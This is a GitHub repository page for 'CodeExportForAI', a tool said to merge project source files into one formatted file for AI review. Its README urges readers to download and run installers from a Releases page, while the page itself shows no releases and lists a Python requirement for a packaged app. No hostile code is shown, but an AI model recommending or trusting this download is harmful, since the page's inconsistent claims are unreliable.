Skip to content

πŸ› οΈ Export project folders into a single, formatted file for quick AI code review and debugging, while filtering out unnecessary noise.

License

Notifications You must be signed in to change notification settings

kenfatys/CodeExportForAI

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ CodeExportForAI - Export Your Project Easily

πŸ“₯ Download Now!

Download CodeExportForAI

πŸ“ Overview

CodeExportForAI is a simple tool designed to help you export any project folder or repository into a single, neatly formatted file. This file is ideal for quick AI-assisted code review, debugging, and refactoring. It collects source files recursively, wraps them in fenced code blocks with relative paths, and filters out unnecessary noise, such as node_modules and .git directories. The tool also shows basic project statistics and allows you to copy content to your clipboard easily.

πŸš€ Getting Started

Step 1: System Requirements

To run CodeExportForAI, make sure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or later should be installed on your system.
  • Disk Space: At least 50 MB free space for temporary files.

Step 2: Download the Application

To download CodeExportForAI, please visit the Releases page.

  1. Click on the "Releases" link.
  2. Choose the version you need.
  3. Click on the download link for your operating system.

Step 3: Install the Application

After downloading, follow these steps to set up CodeExportForAI:

  • Windows:

    1. Navigate to your "Downloads" folder.
    2. Double-click the downloaded installer file.
    3. Follow the on-screen instructions to complete the installation.
  • macOS:

    1. Open the "Downloads" folder.
    2. Drag the CodeExportForAI app into your Applications folder.
  • Linux:

    1. Open a terminal window.
    2. Navigate to the directory where you downloaded the file.
    3. Run the command chmod +x CodeExportForAI.
    4. Execute the application with ./CodeExportForAI.

Step 4: Running CodeExportForAI

Once installed, you can run CodeExportForAI:

  • Windows and macOS:

    • Find the CodeExportForAI application in your Applications or Start menu and click to open it.
  • Linux:

    • Run it from the terminal by navigating to its directory and executing ./CodeExportForAI.

Step 5: Using the Application

After launching CodeExportForAI, follow these steps to export your project:

  1. Select the project folder you wish to export.

  2. Choose your export options:

    • Specify whether to include files in certain directories.
    • Decide if you want to copy the output to your clipboard.
  3. Click the "Export" button.

  4. Once completed, locate your export file in the specified output directory.

βš™οΈ Features

  • Recursive Folder Collection: CodeExportForAI scans the entire folder structure, including subfolders.
  • Formatted Output: The output file features fenced code blocks and relative paths for easy readability.
  • Noise Filtering: This tool automatically excludes irrelevant files like node_modules and .git.
  • Project Statistics: Get basic stats about your project, including the number of files and lines of code.
  • Clipboard Copy: Quickly copy the formatted code directly to your clipboard.

πŸ“‹ Additional Notes

  • Make sure you have sufficient permissions to access the folders and files you wish to export.
  • If you encounter any issues during download or installation, please check the FAQs in the documentation section of the repository.

πŸ“ˆ Support and Contribution

For any questions or feedback, feel free to check out our GitHub Issues page. We welcome contributions and ideas to improve CodeExportForAI.

πŸ“– Learn More

Explore more about how CodeExportForAI can help streamline your coding tasks. Visit the Documentation for in-depth guides and tips.

πŸ”— Links

About

πŸ› οΈ Export project folders into a single, formatted file for quick AI code review and debugging, while filtering out unnecessary noise.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages